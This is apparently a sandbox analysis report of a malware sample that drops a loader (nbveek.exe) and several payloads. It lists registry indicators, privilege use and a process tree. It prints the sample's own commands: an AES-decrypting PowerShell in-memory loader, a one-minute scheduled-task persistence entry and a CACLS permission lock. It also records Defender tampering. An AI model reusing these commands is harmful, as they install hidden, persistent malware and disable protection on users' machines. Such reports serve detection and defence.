Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	conhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	conhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe

Modifies registry class 39 IoCs

Processes:

Explorer.EXEpowershell.exerundll32.exesvchost.exesvchost.exe

description	ioc	process
Set value (data)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0 = 50003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014000000	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\amg0gg0kcwh	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\amg0gg0kcwh\shell	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\amg0gg0kcwh\shell\open	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\SniffedFolderType = "Generic"	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0 = 820074001c0043465346160031000000000000000000100041707044617461000000741a595e96dfd3488d671733bcee28bac5cdfadf9f6756418947c5c76bc0b67f400009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004100700070004400610074006100000042000000	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\MRUListEx = 00000000ffffffff	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\amg0gg0kcwh\shell\open\command\ = "powershell -command \"$A=New-Object System.Security.Cryptography.AesCryptoServiceProvider;$A.Key=@([byte]43,40,34,231,152,221,253,185,62,148,240,241,99,206,96,33,14,60,169,236,234,238,30,154,71,251,34,196,130,93,105,193);$A.IV=@([byte]12,149,177,4,191,6,243,253,155,163,193,103,144,104,239,238);$F=[Convert]::FromBase64String([IO.File]::ReadAllText('C:\\Users\\Admin\\rf1pzoxxi3t.iqejof24z4a'));[Reflection.Assembly]::Load($A.CreateDecryptor().TransformFinalBlock($F,0,$F.Length));[xF9MBhD11Uboko4.PbxDwsvP6fEK0qiF26sgtXEsvZYYfDOk56NDcpRwBQsm5JPMxpMT0PxTTSJxPvtdOqtePwvITy4GLpW8H]::SaDHVXEPeR09i1FG9E5Li7xIYPSH();\""	powershell.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2629973501-4017243118-3254762364-1000\{3AACBEAB-8B99-49AD-8FEE-08AC28563690}	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	rundll32.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2629973501-4017243118-3254762364-1000\{3D40337F-ADDE-477E-963B-6DC3F6486AA2}	svchost.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\amg0gg0kcwh\shell\open\command	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0 = 14001f44471a0359723fa74489c55595fe6b30ee0000	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 00000000ffffffff	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\NodeSlot = "1"	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\MRUListEx = ffffffff	Explorer.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\MRUListEx = 00000000ffffffff	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\WorkFolders	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\.iqejof24z4a	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\.iqejof24z4a\ = "amg0gg0kcwh"	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0 = 4e003100000000003f56cf82100054656d7000003a0009000400efbe0c5519993f56d2822e00000000000000000000000000000000000000000000000000cac2c200540065006d007000000014000000	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0	Explorer.EXE

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

4412 PING.EXE
Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.

Processes:

description flow ioc

HTTP User-Agent header 79 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

Explorer.EXE

pid process

376 Explorer.EXE

pid	process
4412	PING.EXE

description	flow	ioc
HTTP User-Agent header	79	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

pid	process
376	Explorer.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

moda.exetrena1.exemoda1.exedruid1.exedruid.exeOwvtknErB0Wl.exenitka.exefular.exeWerFault.exenitka1.exe

pid	process
4320	moda.exe
4320	moda.exe
3348	trena1.exe
3348	trena1.exe
260	moda1.exe
260	moda1.exe
4124	druid1.exe
3232	druid.exe
2332	OwvtknErB0Wl.exe
2332	OwvtknErB0Wl.exe
2332	OwvtknErB0Wl.exe
2332	OwvtknErB0Wl.exe
2332	OwvtknErB0Wl.exe
2332	OwvtknErB0Wl.exe
2332	OwvtknErB0Wl.exe
2332	OwvtknErB0Wl.exe
2332	OwvtknErB0Wl.exe
2332	OwvtknErB0Wl.exe
4124
3232	druid.exe
3200	nitka.exe
2332	OwvtknErB0Wl.exe
2332	OwvtknErB0Wl.exe
2332	OwvtknErB0Wl.exe
2332	OwvtknErB0Wl.exe
2332	OwvtknErB0Wl.exe
2332	OwvtknErB0Wl.exe
2332	OwvtknErB0Wl.exe
2332	OwvtknErB0Wl.exe
2332	OwvtknErB0Wl.exe
2332	OwvtknErB0Wl.exe
2332	OwvtknErB0Wl.exe
2332	OwvtknErB0Wl.exe
2332	OwvtknErB0Wl.exe
2332	OwvtknErB0Wl.exe
2332	OwvtknErB0Wl.exe
2332	OwvtknErB0Wl.exe
2332	OwvtknErB0Wl.exe
2332	OwvtknErB0Wl.exe
2332	OwvtknErB0Wl.exe
2332	OwvtknErB0Wl.exe
2332	OwvtknErB0Wl.exe
2332	OwvtknErB0Wl.exe
2332	OwvtknErB0Wl.exe
2332	OwvtknErB0Wl.exe
2332	OwvtknErB0Wl.exe
2332	OwvtknErB0Wl.exe
2332	OwvtknErB0Wl.exe
2332	OwvtknErB0Wl.exe
2332	OwvtknErB0Wl.exe
2332	OwvtknErB0Wl.exe
2332	OwvtknErB0Wl.exe
2332	OwvtknErB0Wl.exe
2332	OwvtknErB0Wl.exe
2332	OwvtknErB0Wl.exe
2332	OwvtknErB0Wl.exe
2332	OwvtknErB0Wl.exe
2908	fular.exe
3200	nitka.exe
4740	WerFault.exe
2908	fular.exe
4976	nitka1.exe
4740	WerFault.exe
4976	nitka1.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

Explorer.EXE

pid process

376 Explorer.EXE
Suspicious behavior: LoadsDriver 1 IoCs

Processes:

pid process

656
Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

ChromeSetup.exe

pid process

2656 ChromeSetup.exe

pid	process
376	Explorer.EXE

pid	process
656

pid	process
2656	ChromeSetup.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

moda.exetrena1.exemoda1.exenitka.exedruid1.exedruid.exenitka1.exefular.exeWerFault.exefular1.exevina1.exepowershell.exepowershell.exepowershell.exeExplorer.EXEpowershell.exepowercfg.exepowershell.exesc.exepowercfg.exereg.exe

description	pid	process
Token: SeDebugPrivilege	4320	moda.exe
Token: SeDebugPrivilege	3348	trena1.exe
Token: SeDebugPrivilege	260	moda1.exe
Token: SeDebugPrivilege	3200	nitka.exe
Token: SeDebugPrivilege	4124	druid1.exe
Token: SeDebugPrivilege	3232	druid.exe
Token: SeDebugPrivilege	4976	nitka1.exe
Token: SeDebugPrivilege	2908	fular.exe
Token: SeDebugPrivilege	4740	WerFault.exe
Token: SeDebugPrivilege	432	fular1.exe
Token: SeShutdownPrivilege	3952	vina1.exe
Token: SeCreatePagefilePrivilege	3952	vina1.exe
Token: SeDebugPrivilege	2708	powershell.exe
Token: SeDebugPrivilege	5108	powershell.exe
Token: SeDebugPrivilege	4188	powershell.exe
Token: SeShutdownPrivilege	376	Explorer.EXE
Token: SeCreatePagefilePrivilege	376	Explorer.EXE
Token: SeShutdownPrivilege	376	Explorer.EXE
Token: SeCreatePagefilePrivilege	376	Explorer.EXE
Token: SeShutdownPrivilege	376	Explorer.EXE
Token: SeCreatePagefilePrivilege	376	Explorer.EXE
Token: SeShutdownPrivilege	376	Explorer.EXE
Token: SeCreatePagefilePrivilege	376	Explorer.EXE
Token: SeShutdownPrivilege	376	Explorer.EXE
Token: SeCreatePagefilePrivilege	376	Explorer.EXE
Token: SeShutdownPrivilege	376	Explorer.EXE
Token: SeCreatePagefilePrivilege	376	Explorer.EXE
Token: SeShutdownPrivilege	376	Explorer.EXE
Token: SeCreatePagefilePrivilege	376	Explorer.EXE
Token: SeShutdownPrivilege	376	Explorer.EXE
Token: SeCreatePagefilePrivilege	376	Explorer.EXE
Token: SeShutdownPrivilege	376	Explorer.EXE
Token: SeCreatePagefilePrivilege	376	Explorer.EXE
Token: SeShutdownPrivilege	376	Explorer.EXE
Token: SeCreatePagefilePrivilege	376	Explorer.EXE
Token: SeShutdownPrivilege	376	Explorer.EXE
Token: SeCreatePagefilePrivilege	376	Explorer.EXE
Token: SeDebugPrivilege	3152	powershell.exe
Token: SeShutdownPrivilege	1548	powercfg.exe
Token: SeCreatePagefilePrivilege	1548	powercfg.exe
Token: SeDebugPrivilege	2104	powershell.exe
Token: SeShutdownPrivilege	1124	sc.exe
Token: SeCreatePagefilePrivilege	1124	sc.exe
Token: SeShutdownPrivilege	376	Explorer.EXE
Token: SeCreatePagefilePrivilege	376	Explorer.EXE
Token: SeShutdownPrivilege	260	powercfg.exe
Token: SeCreatePagefilePrivilege	260	powercfg.exe
Token: SeShutdownPrivilege	3948	reg.exe
Token: SeCreatePagefilePrivilege	3948	reg.exe
Token: SeIncreaseQuotaPrivilege	2104	powershell.exe
Token: SeSecurityPrivilege	2104	powershell.exe
Token: SeTakeOwnershipPrivilege	2104	powershell.exe
Token: SeLoadDriverPrivilege	2104	powershell.exe
Token: SeSystemProfilePrivilege	2104	powershell.exe
Token: SeSystemtimePrivilege	2104	powershell.exe
Token: SeProfSingleProcessPrivilege	2104	powershell.exe
Token: SeIncBasePriorityPrivilege	2104	powershell.exe
Token: SeCreatePagefilePrivilege	2104	powershell.exe
Token: SeBackupPrivilege	2104	powershell.exe
Token: SeRestorePrivilege	2104	powershell.exe
Token: SeShutdownPrivilege	2104	powershell.exe
Token: SeDebugPrivilege	2104	powershell.exe
Token: SeSystemEnvironmentPrivilege	2104	powershell.exe
Token: SeRemoteShutdownPrivilege	2104	powershell.exe

Suspicious use of FindShellTrayWindow 8 IoCs

Processes:

Russian.exe.pifExplorer.EXErundll32.exe

pid process

1444 Russian.exe.pif
376 Explorer.EXE
376 Explorer.EXE
1444 Russian.exe.pif
1444 Russian.exe.pif
376 Explorer.EXE
376 Explorer.EXE
3948 rundll32.exe
Suspicious use of SendNotifyMessage 3 IoCs

Processes:

Russian.exe.pif

pid process

1444 Russian.exe.pif
1444 Russian.exe.pif
1444 Russian.exe.pif
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

OpenWith.exeExplorer.EXE

pid process

1516 OpenWith.exe
376 Explorer.EXE
376 Explorer.EXE

pid	process
1444	Russian.exe.pif
376	Explorer.EXE
376	Explorer.EXE
1444	Russian.exe.pif
1444	Russian.exe.pif
376	Explorer.EXE
376	Explorer.EXE
3948	rundll32.exe

pid	process
1444	Russian.exe.pif
1444	Russian.exe.pif
1444	Russian.exe.pif

pid	process
1516	OpenWith.exe
376	Explorer.EXE
376	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

f3cd81daa660f8a66d5fd299a0801d06eb05e88dfc914.exenbveek.execmd.exelebro.exenbveek.execmd.exe

description	pid	process	target process
PID 1976 wrote to memory of 628	1976	f3cd81daa660f8a66d5fd299a0801d06eb05e88dfc914.exe	nbveek.exe
PID 1976 wrote to memory of 628	1976	f3cd81daa660f8a66d5fd299a0801d06eb05e88dfc914.exe	nbveek.exe
PID 1976 wrote to memory of 628	1976	f3cd81daa660f8a66d5fd299a0801d06eb05e88dfc914.exe	nbveek.exe
PID 628 wrote to memory of 4964	628	nbveek.exe	schtasks.exe
PID 628 wrote to memory of 4964	628	nbveek.exe	schtasks.exe
PID 628 wrote to memory of 4964	628	nbveek.exe	schtasks.exe
PID 628 wrote to memory of 872	628	nbveek.exe	cmd.exe
PID 628 wrote to memory of 872	628	nbveek.exe	cmd.exe
PID 628 wrote to memory of 872	628	nbveek.exe	cmd.exe
PID 872 wrote to memory of 4636	872	cmd.exe	cmd.exe
PID 872 wrote to memory of 4636	872	cmd.exe	cmd.exe
PID 872 wrote to memory of 4636	872	cmd.exe	cmd.exe
PID 872 wrote to memory of 4600	872	cmd.exe	cacls.exe
PID 872 wrote to memory of 4600	872	cmd.exe	cacls.exe
PID 872 wrote to memory of 4600	872	cmd.exe	cacls.exe
PID 872 wrote to memory of 4660	872	cmd.exe	cacls.exe
PID 872 wrote to memory of 4660	872	cmd.exe	cacls.exe
PID 872 wrote to memory of 4660	872	cmd.exe	cacls.exe
PID 872 wrote to memory of 1772	872	cmd.exe	cmd.exe
PID 872 wrote to memory of 1772	872	cmd.exe	cmd.exe
PID 872 wrote to memory of 1772	872	cmd.exe	cmd.exe
PID 872 wrote to memory of 3504	872	cmd.exe	cacls.exe
PID 872 wrote to memory of 3504	872	cmd.exe	cacls.exe
PID 872 wrote to memory of 3504	872	cmd.exe	cacls.exe
PID 872 wrote to memory of 2128	872	cmd.exe	cacls.exe
PID 872 wrote to memory of 2128	872	cmd.exe	cacls.exe
PID 872 wrote to memory of 2128	872	cmd.exe	cacls.exe
PID 628 wrote to memory of 4320	628	nbveek.exe	moda.exe
PID 628 wrote to memory of 4320	628	nbveek.exe	moda.exe
PID 628 wrote to memory of 3348	628	nbveek.exe	trena1.exe
PID 628 wrote to memory of 3348	628	nbveek.exe	trena1.exe
PID 628 wrote to memory of 4124	628	nbveek.exe	druid1.exe
PID 628 wrote to memory of 4124	628	nbveek.exe	druid1.exe
PID 628 wrote to memory of 4124	628	nbveek.exe	druid1.exe
PID 628 wrote to memory of 3200	628	nbveek.exe	nitka.exe
PID 628 wrote to memory of 3200	628	nbveek.exe	nitka.exe
PID 628 wrote to memory of 3200	628	nbveek.exe	nitka.exe
PID 628 wrote to memory of 260	628	nbveek.exe	moda1.exe
PID 628 wrote to memory of 260	628	nbveek.exe	moda1.exe
PID 628 wrote to memory of 3232	628	nbveek.exe	druid.exe
PID 628 wrote to memory of 3232	628	nbveek.exe	druid.exe
PID 628 wrote to memory of 3232	628	nbveek.exe	druid.exe
PID 628 wrote to memory of 4976	628	nbveek.exe	nitka1.exe
PID 628 wrote to memory of 4976	628	nbveek.exe	nitka1.exe
PID 628 wrote to memory of 4976	628	nbveek.exe	nitka1.exe
PID 628 wrote to memory of 3168	628	nbveek.exe	lebro.exe
PID 628 wrote to memory of 3168	628	nbveek.exe	lebro.exe
PID 628 wrote to memory of 3168	628	nbveek.exe	lebro.exe
PID 3168 wrote to memory of 3376	3168	lebro.exe	nbveek.exe
PID 3168 wrote to memory of 3376	3168	lebro.exe	nbveek.exe
PID 3168 wrote to memory of 3376	3168	lebro.exe	nbveek.exe
PID 3376 wrote to memory of 3264	3376	nbveek.exe	schtasks.exe
PID 3376 wrote to memory of 3264	3376	nbveek.exe	schtasks.exe
PID 3376 wrote to memory of 3264	3376	nbveek.exe	schtasks.exe
PID 3376 wrote to memory of 5052	3376	nbveek.exe	cmd.exe
PID 3376 wrote to memory of 5052	3376	nbveek.exe	cmd.exe
PID 3376 wrote to memory of 5052	3376	nbveek.exe	cmd.exe
PID 5052 wrote to memory of 4148	5052	cmd.exe	cmd.exe
PID 5052 wrote to memory of 4148	5052	cmd.exe	cmd.exe
PID 5052 wrote to memory of 4148	5052	cmd.exe	cmd.exe
PID 5052 wrote to memory of 4888	5052	cmd.exe	cacls.exe
PID 5052 wrote to memory of 4888	5052	cmd.exe	cacls.exe
PID 5052 wrote to memory of 4888	5052	cmd.exe	cacls.exe
PID 628 wrote to memory of 2908	628	nbveek.exe	fular.exe

outlook_office_path 1 IoCs

Processes:

rundll32.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	rundll32.exe

outlook_win_path 1 IoCs

Processes:

rundll32.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	rundll32.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:376

C:\Users\Admin\AppData\Local\Temp\f3cd81daa660f8a66d5fd299a0801d06eb05e88dfc914.exe
"C:\Users\Admin\AppData\Local\Temp\f3cd81daa660f8a66d5fd299a0801d06eb05e88dfc914.exe"
2⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1976

C:\Users\Admin\AppData\Local\Temp\5eb6b96734\nbveek.exe
"C:\Users\Admin\AppData\Local\Temp\5eb6b96734\nbveek.exe"
3⤵
- Executes dropped EXE
- Checks computer location settings
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:628

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN nbveek.exe /TR "C:\Users\Admin\AppData\Local\Temp\5eb6b96734\nbveek.exe" /F
4⤵
- Creates scheduled task(s)
PID:4964

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /k echo Y|CACLS "nbveek.exe" /P "Admin:N"&&CACLS "nbveek.exe" /P "Admin:R" /E&&echo Y|CACLS "..\5eb6b96734" /P "Admin:N"&&CACLS "..\5eb6b96734" /P "Admin:R" /E&&Exit
4⤵
- Suspicious use of WriteProcessMemory
PID:872

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Y"
5⤵
PID:4636

C:\Windows\SysWOW64\cacls.exe
CACLS "nbveek.exe" /P "Admin:N"
5⤵
PID:4600

C:\Windows\SysWOW64\cacls.exe
CACLS "nbveek.exe" /P "Admin:R" /E
5⤵
PID:4660

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Y"
5⤵
PID:1772

C:\Windows\SysWOW64\cacls.exe
CACLS "..\5eb6b96734" /P "Admin:N"
5⤵
PID:3504

C:\Windows\SysWOW64\cacls.exe
CACLS "..\5eb6b96734" /P "Admin:R" /E
5⤵
PID:2128

C:\Users\Admin\AppData\Local\Temp\1000001001\moda.exe
"C:\Users\Admin\AppData\Local\Temp\1000001001\moda.exe"
4⤵
- Modifies Windows Defender Real-time Protection settings
- Executes dropped EXE
- Windows security modification
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4320

C:\Users\Admin\AppData\Local\Temp\1000002001\trena1.exe
"C:\Users\Admin\AppData\Local\Temp\1000002001\trena1.exe"
4⤵
- Modifies Windows Defender Real-time Protection settings
- Executes dropped EXE
- Windows security modification
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3348

C:\Users\Admin\AppData\Local\Temp\1000003051\druid1.exe
"C:\Users\Admin\AppData\Local\Temp\1000003051\druid1.exe"
4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4124

C:\Users\Admin\AppData\Local\Temp\1000004051\nitka.exe
"C:\Users\Admin\AppData\Local\Temp\1000004051\nitka.exe"
4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3200

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3200 -s 1232
5⤵
- Program crash
PID:2896

C:\Users\Admin\AppData\Local\Temp\1000005001\moda1.exe
"C:\Users\Admin\AppData\Local\Temp\1000005001\moda1.exe"
4⤵
- Modifies Windows Defender Real-time Protection settings
- Executes dropped EXE
- Windows security modification
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:260

C:\Users\Admin\AppData\Local\Temp\1000006051\druid.exe
"C:\Users\Admin\AppData\Local\Temp\1000006051\druid.exe"
4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3232

C:\Users\Admin\AppData\Local\Temp\1000007001\nitka1.exe
"C:\Users\Admin\AppData\Local\Temp\1000007001\nitka1.exe"
4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4976

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4976 -s 2068
5⤵
- Program crash
PID:1684

C:\Users\Admin\AppData\Local\Temp\1000008001\lebro.exe
"C:\Users\Admin\AppData\Local\Temp\1000008001\lebro.exe"
4⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3168

C:\Users\Admin\AppData\Local\Temp\9e0894bcc4\nbveek.exe
"C:\Users\Admin\AppData\Local\Temp\9e0894bcc4\nbveek.exe"
5⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3376

